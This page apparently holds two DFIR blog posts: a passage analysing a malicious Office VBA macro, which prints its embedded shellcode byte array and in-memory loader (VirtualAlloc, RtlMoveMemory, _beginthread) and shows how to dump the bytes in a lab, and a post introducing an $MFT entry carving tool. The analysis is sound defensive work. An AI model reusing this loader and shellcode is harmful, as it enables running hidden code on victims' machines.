&H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H2C, &H3, &H0, &H0, &H53, &HC6, &H84, &H24, &H2D, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H2E, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H2F, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H30, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H31, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H32, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H33, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H34, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H35, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H36, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H37, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H38, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H39, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H3A, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H3B, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H3C, &H3, _
&H0, &H0, &H6E, &HC6, &H84, &H24, &H3D, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H3E, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H3F, &H3, &H0, &H0, &H4D, &HC6, &H84, &H24, &H40, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H41, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H42, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H43, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H44, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H45, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H46, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H47, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &H48, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H49, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H4A, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &HF0, &H2, &H0, &H0, &H5C, &HC6, &H84, &H24, &HF1, &H2, &H0, &H0, &H53, &HC6, &H84, &H24, &HF2, &H2, &H0, _
&H0, &H74, &HC6, &H84, &H24, &HF3, &H2, &H0, &H0, &H72, &HC6, &H84, &H24, &HF4, &H2, &H0, &H0, &H61, &HC6, &H84, &H24, &HF5, &H2, &H0, &H0, &H74, &HC6, &H84, &H24, &HF6, &H2, &H0, &H0, &H65, &HC6, &H84, &H24, &HF7, &H2, &H0, &H0, &H67, &HC6, &H84, &H24, &HF8, &H2)
shellcode(2) = Array(&H0, &H0, &H69, &HC6, &H84, &H24, &HF9, &H2, &H0, &H0, &H63, &HC6, &H84, &H24, &HFA, &H2, &H0, &H0, &H20, &HC6, &H84, &H24, &HFB, &H2, &H0, &H0, &H50, &HC6, &H84, &H24, &HFC, &H2, &H0, &H0, &H6C, &HC6, &H84, &H24, &HFD, &H2, &H0, &H0, &H61, &HC6, &H84, &H24, &HFE, &H2, &H0, &H0, &H6E, &HC6, &H84, &H24, &HFF, &H2, &H0, &H0, &H6E, &HC6, &H84, &H24, &H0, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H1, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H2, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H3, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H4, &H3, &H0, &H0, &H4D, &HC6, &H84, &H24, &H5, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H6, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H7, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H8, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H9, &H3, &H0, &H0, _
&H65, &HC6, &H84, &H24, &HA, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HB, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HC, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HD, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HE, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &HF, &H3, &H0, &H0, &H0, &H48, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H89, &H44, &H24, &H20, &H45, &H33, &HC9, &H45, &H33, &HC0, &HBA, &H1C, &H0, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &HF0, &H2, &H0, &H0, &H48, &H8D, &H8C, &H24, &H90, &H0, &H0, &H0, &HFF, &H94, &H24, &H70, &H3, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &HE0, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &HE8, &H3, &H0, &H0, &H33, &HC9, &HFF, &H54, _
&H24, &H68, &H89, &H84, &H24, &HD0, &H3, &H0, &H0, &H83, &HBC, &H24, &HD0, &H3, &H0, &H0, &H0, &HF, &H8C, &HA1, &H0, &H0, &H0, &HC7, &H84, &H24, &H50, &H4, &H0, &H0, &H68, &H0, &H0, &H0, &HC7, &H84, &H24, &H8C, &H4, &H0, &H0, &H1, &H0, &H0, &H0, &H33, &HC0, &H66, &H89, &H84, &H24, &H90, &H4, &H0, &H0, &H41, &HB8, &H68, &H0, &H0, &H0, &H33, &HD2, &H48, &H8D, &H8C, &H24, &H50, &H4, &H0, &H0, &HFF, &H94, &H24, &HC8, &H3, &H0, &H0, &H41, &HB8, &H18, &H0, &H0, &H0, &H33, &HD2, &H48, &H8D, &H8C, &H24, &H30, &H4, &H0, &H0, &HFF, &H94, &H24, &HC8, &H3, &H0, &H0, &H48, &H8D, &H84, &H24, &H30, &H4, &H0, &H0, &H48, &H89, &H44, &H24, &H48, &H48, &H8D, &H84, &H24, &H50, &H4, &H0, &H0, &H48, &H89, &H44, &H24, &H40, &H48, &HC7, &H44, &H24, &H38, &H0, &H0, &H0, &H0, &H48, _
&HC7, &H44, &H24, &H30, &H0, &H0, &H0, &H0, &HC7, &H44, &H24, &H28, &H0, &H0, &H0, &H0, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H45, &H33, &HC0, &H48, &H8D, &H94, &H24, &HE0, &H1, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &H68, &H3, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H10, &H3, &H0, &H0, &H33, &HC9, &HFF, &H54, &H24, &H68, &H89, &H84, &H24, &HD0, &H3, &H0, &H0, &H83, &HBC, &H24, &HD0, &H3, &H0, &H0, &H0, &H7C, &H55, &HC6, &H84, &H24, &HC0, &H4, &H0, &H0, &H6F, &HC6, &H84, &H24, &HC1, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HC2, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &HC3, &H4, &H0, &H0, &H6E, &HC6, &H84, &H24, &HC4, &H4, &H0, &H0, _
&H0, &HC7, &H44, &H24, &H28, &H1, &H0, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HC0, &H4, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HC0, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &HC8, &H1, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H8C, &H24, &HB0, &H3, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H8C, &H24, &H20, &H4, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H81, &HC4, &HD8, &H4, &H0, &H0, &HC3, &HCC, &HCC)
    Dim kernel32 As LongPtr, addr_LoadLibraryA As LongPtr, addr_GetProcAddr As LongPtr
    Dim rising_sun As String
    rising_sun = "kernel32"
    kernel32 = LoadLibraryA("kernel32")
    addr_LoadLibraryA = GetProcAddress(kernel32, "LoadLibraryA")
    addr_GetProcAddr = GetProcAddress(kernel32, "GetProcAddress")
    Dim twefasfg As Long, rgggsdfa As Long
    Dim eIndex1 As Long, eIndex2 As Long, eValue As Long
    Dim vAddress As LongPtr, Result As LongPtr
    vAddress = VirtualAlloc(0, 3224, &H1000, &H40)
    size_count = 0
    For eIndex1 = 0 To BlockCount - 1
        For eIndex2 = 0 To UBound(shellcode(eIndex1))
            eValue = shellcode(eIndex1)(eIndex2)
            binbuffer(size_count) = eValue
            size_count = size_count + 1
        Next eIndex2
    Next eIndex1
    Result = RtlMoveMemory(VarPtr(binbuffer(1265)), addr_LoadLibraryA, 8)
    Result = RtlMoveMemory(VarPtr(binbuffer(1283)), addr_GetProcAddr, 8)

    For eIndex1 = 0 To size_count - 1
        eValue = binbuffer(eIndex1)
        Result = RtlMoveMemory(vAddress + eIndex1, eValue, 1)
    Next eIndex1
    Dim LMCooperator As Long
    LMCooperator = SharpShooter(vAddress, 0, 0)
    Exit Sub
End Sub

As this blog post is not about detailing how that macro works exactly I’ll just point out some key points. So the Macro stores bytes in a 2d byte array which I called shellcode for now. It then allocates 3224 bytes using VirtualAlloc. The allocated sections carry the 0x40 protection flag which according to Microsoft’s documentation refers to PAGE_EXECUTE_READWRITE. So whatever the macro puts there will be executable. It then flattens out the 2d array into a 1d byte array using two nested loops. I called that variable binbuffer. Now comes the tricky part and the reason why I post about this sample. The macro in-memory replaces two sections of the flat bytearray with the memory addresses of LoadLibraryA and GetProcAddr. I assume the resulting in memory-code will use these library calls and needs the addresses of these functions. This gives the code the ability to address the library more easily even if ASLR is activated (which it usually is for Office Products). Unfortunately it makes our job more difficult as well. We can’t just dump the byte array and treat it as runnable shellcode as we will be missing the actual addresses of the mentioned functions. That requires us to use another frequently used technique to extract stuff – alter the code until it spits out whatever we need.


There is one very important thing you need to know about Macros. VBA is not VBS. While you can run VBS code using cscript.exe, VBA code will not run. For this particular code it fails. VBA is exclusive for Microsoft applications and a few third party vendors who licensed VBA for their products, one of them being AutoCAD. For us, that means that our best bet is to use Word to execute the Macro. What I’m interested in is the exact byte array it loads int o memory in the last for loop.

 For eIndex1 = 0 To size_count - 1
        eValue = binbuffer(eIndex1)
        Result = RtlMoveMemory(vAddress + eIndex1, eValue, 1)
    Next eIndex1

So let’s fire up Excel and don’t allow the Macros to run. We first need to make running that save. Obviously everything from now on happens on a save Lab VM.

The Document

So before I allow macros to run I edit the code a little bit. Generally commenting out one line will be enough. Line 75 would execute the in-memory code. Sharpshooter was declared to be msvcrt._beginthread().

Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long


LMCooperator = SharpShooter(vAddress, 0, 0)

So I just comment that line out. In addition to that I want to dump the resulting byte array to a file. The easiest way to do that for me was to use the StrConv Function and the Open command to open a file. The resulting code section looks something like this.

For eIndex1 = 0 To yefawfq - 1
    eValue = grqwasf(eIndex1)
    Result = gzsdfasd(vAddress + eIndex1, eValue, 1)
Next eIndex1
Open "C:\Users\abc\Desktop\shellcode.txt" For Output As #1
hexstr = StrConv(grqwasf, vbUnicode)
Print #1, hexstr
Dim LMCooperator As Long
'LMCooperator = SharpShooter(vAddress, 0, 0)
Exit Sub

This is a fast and easy way to get the final version of the binary code out leveraging Word.

Carving $MFT (MFTEntryCarver.py)

Another story on how you might discover new artifacts to help your investigation – MFT Carving.

It’ been some time since I wrote my last blog post. Like every year, the last quarter is very busy. Still I got something new I want to share. This week I have been teaching SANS FOR 508 with Francesco Picasso @dfirfpi in Paris. When Francesco talked about $MFT entries, I was curious where on a drive single $MFT entries or groups of MFT entries might end up other than the currently active $MFT. I briefly googled if there are solutions that support carving single, potentially corrupted $MFT entries and couldn’t find any. There are many solutions which parse a complete and active $MFT and solutions which carve files, but that’s not was I was looking for. So back in my room I started to do some research.

As the $MFT is literally filled up with timestamps I figured it might come handy to have a MFT-Carver-Parser that also handles half corrupted MFT entries. If you just want to get the tool I wrote to do that and not read the whole blogpost, feel free to download it at https://github.com/cyb3rfox/MFTEntryCarver/

As pointed out, I did not expect to find many entries in unallocated space, but I gave it a try anyhow. First of all, I dumped the unallocated space of a test Windows 7 image using sleuthkit’s blkls.

blkls image.ewf > unallocated.blocks

This produced a file around 7Gb big. To see if it would even make sense to start writing something, I just did a strings search on the file.

strings -a unallocated.blocks | grep FILE0 | wc -l
Counting potential number of $MFT entires

Note that basically FILE (\x46\x49\x4C\x45) is the header for an entry, but not using it will give you many strings that are part of textfiles and script. Still most not to say all entries start like FILE0 (\x46\x49\x4C\x45\x30). \0x30 declares the offset to the fixup and that is usually the same for many of the files. And as it represents 0 in ASCII it’s easy to grep. Anyway, the above command leads to the following output.

So it looks like we have 5026 potential $MFT entries. Next, I wanted to understand, how those artifacts are distributed across the dump file. Hence, I searched for the magic bytes again, only this time, I also got the offset of the hits.

strings -a -t d unallocated.blocks | grep FILE0
Figuring out the entry offset for plotting

I then grouped the hit offsets into a manageable number of buckets and plotted a histogram.

Histogram of $MFT entries in the dumped unallocated space

The histogram shows, that not all of those entries are clustered in one place but in at least 3 separate locations (there are some less populated sections that don’t show on the graph).
That implies, that the entries might be coming from different sources. Interesting enough for me to start writing a little tool. The $MFT is very well documented. I used two resources to understand what I needed to do.

I guess this is the time to point out, that I’m obviously not a full time coder and python is quite new to me. If you don’t believe me, look at the code and you see what I mean. So please excuse my spaghetti code. In the end, it works and is even reasonably fast.

I wanted the tool to be able to do the following things:

  • Find potential file entries
  • parse as many of their $FN attributes (long and short) as possible
  • parse $STDInfo and $FN Timestamps
  • For resident $data attributes, recover the data as well
  • still work if half of the information is corrupted
  • output all in csv format

So, first of all, I needed to find all potential $MFT entries. As the input files for this kind of tool can get quite big, using methods that need to put the whole file into memory might fail. In the end, I decided to use the python mmap library. It’s fast and you can open really big files and move a pointer over the data. Also searching for hex patterns is supported.

The pattern search for FILE (\x46\x49\x4C\x45) returned 54583 potential entries. So how do I decide which are legitimate ones and which are false positives? My approach was to try and parse further attributes and sanity check the results as good as possible. So, for example, I use size checks a lot. All attributes in $MFT entries store their size. I parse that and if the parsed value is smaller than the minimum size of the attribute or bigger than the size of the whole entry, the bytes I parsed are probably not part of a real $MFT entry. I don’t want to go into that too deeply, please look at the code if you want to understand my approach. Suggestions and contributions are highly welcome.

So after a couple of hours of work, I get to the following results.

python MFTEntryCarver.py -s unallocated.blocks
MFTEntryCarver.py output -s flag shows statistics in the end

So essentially. MFTEntryCarver.py will give you all the artifacts mentioned above if it can find them. It only keeps on parsing when it finds at least one valid $FN attribute. If certain artifacts are not there, it will put in “corrupted” in the respective field. Below are the statistics the tools shows after processing the test dataset.

The good news here, in the end, there were not only 5026 entries to parse but a total of 54583. Out of those MFTEntryCarver.py recovered 14975 entries. So let’s take a look at one of the entries.

[u'GETWIN~1.URL', u'Get Windows Live.url'];2010-11-10 08:22:22.646273;2010-11-10 08:22:22.646273;2010-11-10 08:22:22.646273;2010-11-10 08:22:22.646273;1601-01-01 00:00:00;1601-01-01 00:00:00;1601-01-01 00:00:00;1601-01-01 00:00:00;0d0a50726f70333d31392c320d0a5b496e7465726e657453686f72746375745d0d0a55524c3d3c0174703a2f2f676f2e6d6963726f736f66742e636f6d2f66776c696e6b2f3f4c696e6b49643d36393137320d0a49444c6973743d0d0a794711

So, in this case, we found a .URL file called “Get Windows Live.url” and the data seems to resident. Some timestamps couldn’t be parsed, MFTEntryCarver.py still gets you as much as it can. I usually transform and analyze raw hex data using CyberChef. Throwing the hex contents of the resident data attribute at it produces readable results (at least for ascii characters).

CyberChef can parse the resident data

I’ll try the tool some more in investigations, but it looks promising. offers a viable way to get older $MFT entries, including timestamps. Artifacts like these usually help an investigation when the attacker cleaned up and/or is long gone. If you use it, please give some feedback. You can easily reach out to me on twitter @mathias_fuchs. You can get the code at https://github.com/cyb3rfox/MFTEntryCarver

Copyright Cyberfox 2021
Tech Nerd theme designed by Siteturner
Secured By miniOrange